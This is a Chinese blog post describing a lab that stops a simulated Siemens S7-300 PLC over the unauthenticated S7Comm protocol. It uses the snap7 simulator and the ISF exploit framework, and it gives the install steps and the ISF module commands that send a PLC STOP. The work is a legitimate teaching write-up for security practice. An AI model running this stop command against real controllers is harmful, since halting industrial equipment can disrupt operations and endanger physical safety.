前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[ffffffff0x] 工控安全:S7-300启停实验

[ffffffff0x] 工控安全:S7-300启停实验

原创
作者头像
r0fus0d
修改2021-01-14 10:32:27
2K0
修改2021-01-14 10:32:27
举报
文章被收录于专栏:ffffffff0x

前言

西门子(SIEMENS)公司的 PLC 产品包括 LOGO、S7-200、S7-1200、S7-300、 S7-400、S7-1500 等。西门子 PLC 在我国的应用比其他系列多。S7 系列 PLC 体积小、速度快、标准化,网络通信能力强,功能更多,可靠性高。S7 系列 PLC 产品可分为微型 PLC(如 S7-200),小规模性能要求的 PLC(如 S7-300)和中、高性能要求的PLC(如S7-400)等。

西门子 PLC 使用私有协议进行通信,它利用 TPKT 和 ISO8073 的二进制协议。西门子的 PLC 通信端口均为 102 端口。其协议有3个版本:S7Comm 协议、早期 S7CommPlus 协议和最新的 S7CommPlus 协议。

S7-200、S7-300、S7-400 系列的 PLC 采用早期的西门子私有协议 S7Comm 进行通信。该协议不像 S7CommPlus 的加密协议(S7-1500 等),它不涉及任何反重复攻击机制,可以被攻击者轻易利用。本次我们通过模拟器代替现场设备,复现S7-300的启停。


环境搭建

本次实验用模拟器代替现场设备,先访问软件官网 http://snap7.sourceforge.net/ ,点击 Download 会跳转到 https://sourceforge.net/projects/snap7/files/

下载 snap7-full-1.4.2.7z

首先S7模拟器客户端连接主机,解压,打开 \rich-demos\x86_64-win64\bin 下 serverdemo.exe

输入本机 IP 点击 start 连接。

然后使用 S7 模拟器客户端,打开 clientdemo.exe 进行连接

输入本机 IP 点击 connect 连接

此时服务端出现请求信息,表示连接成功

这个时候使用wireshark抓包可以查看到 Setup communication [0xF0] 的包

这里可以下载示例pcap文件 https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=s7comm_downloading_block_db1.pcap

相应的响应如下


漏洞利用

接下来采用开源的工控漏洞利用框架 ISF 进行漏洞测试。

工具地址 : https://github.com/dark-lbp/isf

使用 Centos 下载并使用

代码语言:txt
复制
yum install -y python
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
mkdir -p ~/.pip/
sudo tee ~/.pip/pip.conf <<-'EOF'
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn
EOF
git clone https://github.com/dark-lbp/isf.git
cd isf/
pip install -t /usr/lib/python2.7/site-packages -r requirements.txt
python2.7 isf.py

kali如下

代码语言:txt
复制
python2 get-pip.py
mkdir -p ~/.pip/
sudo tee ~/.pip/pip.conf <<-'EOF'
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host = https://pypi.tuna.tsinghua.edu.cn
EOF
git clone https://github.com/dark-lbp/isf.git
cd isf/
python2 -m pip install -r requirements.txt
python2.7 isf.py

此时运行isf.py可以像msf一样访问和操作

代码语言:txt
复制
use exploits/plcs/siemens/s7_300_400_plc_control
set target 192.168.141.128
run

这里显示 stop plc ,同时查看模拟器中的输出,可以发现已经停止

这里发送了PLC STOP [0x29] 的包

wireshark 中是这样的

相应响应如下


总结

本文通过模拟器模拟S7-300实验环境,复现S7-300的启停实验,西门子私有协议 S7Comm 不像 S7CommPlus 的加密协议(S7-1500 等),不涉及任何反重复攻击机制,可以被攻击者轻易利用。下一篇文章将着重介绍S7comm协议。


本文作者 r0fus0d

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 环境搭建
  • 漏洞利用
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档